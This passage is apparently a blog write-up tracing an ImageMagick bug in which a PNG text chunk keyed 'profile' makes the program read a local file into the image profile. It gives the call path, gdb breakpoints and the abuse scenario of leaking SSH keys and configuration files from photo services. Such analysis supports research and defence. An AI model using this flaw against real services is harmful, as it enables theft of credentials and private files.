ReadOnePNGImage -> IsEventLogging -> GetMagickResourceLimit -> GetImageOption -> GetValueFromSplayTree -> LockSemaphoreInfo -> png.c:3962 -> ConcatenateMagickString -> SetImageProperty -> property.c:4711 -> AcquireImageInfo -> CopyMagickString -> SetImageInfo -> FileToStringInfo -> FileToBlob -> SetImageProfile -> DestroyStringInfo -> DestroyImageInfo
With the execution flow, it will be easier to reproduce this and follow the functions.
Also, I want here to summarize the exact lines where the vulnerability happened:
- First starts here where the PNG image gets read and processed.
static Image *ReadOnePNGImage(MngInfo *mng_info,
const ImageInfo *image_info, ExceptionInfo *exception)
{
- Read the text chunk
png.c:3962
ConcatenateMagickString
- Check “profile” keyword
SetImageProperty
property.c:4711
- Read the file content and store it
property.c:4722
profile=FileToStringInfo(image_info->filename,~0UL,exception);
string.c:1017
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);
- Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.
If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:
break ReadOnePNGImage
break png.c:3954
break png.c:3986
break SetImageProperty
break property.c:4711
break property.c:4722
break property.c:4725
break FileToStringInfo
break string.c:1017
after that go with “continue” , “step” , “step-in” and “next”.
- The red highlighted ones, here we are setting the breakpoints.
- The green highlighted one, we started the program.
- Finally, we see the program hit the first breakpoint.
How the attacker would abuse this?
If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files ..etc, same thing applies to privilege escalation scenarios.
Final thoughts
This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.
I didn’t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.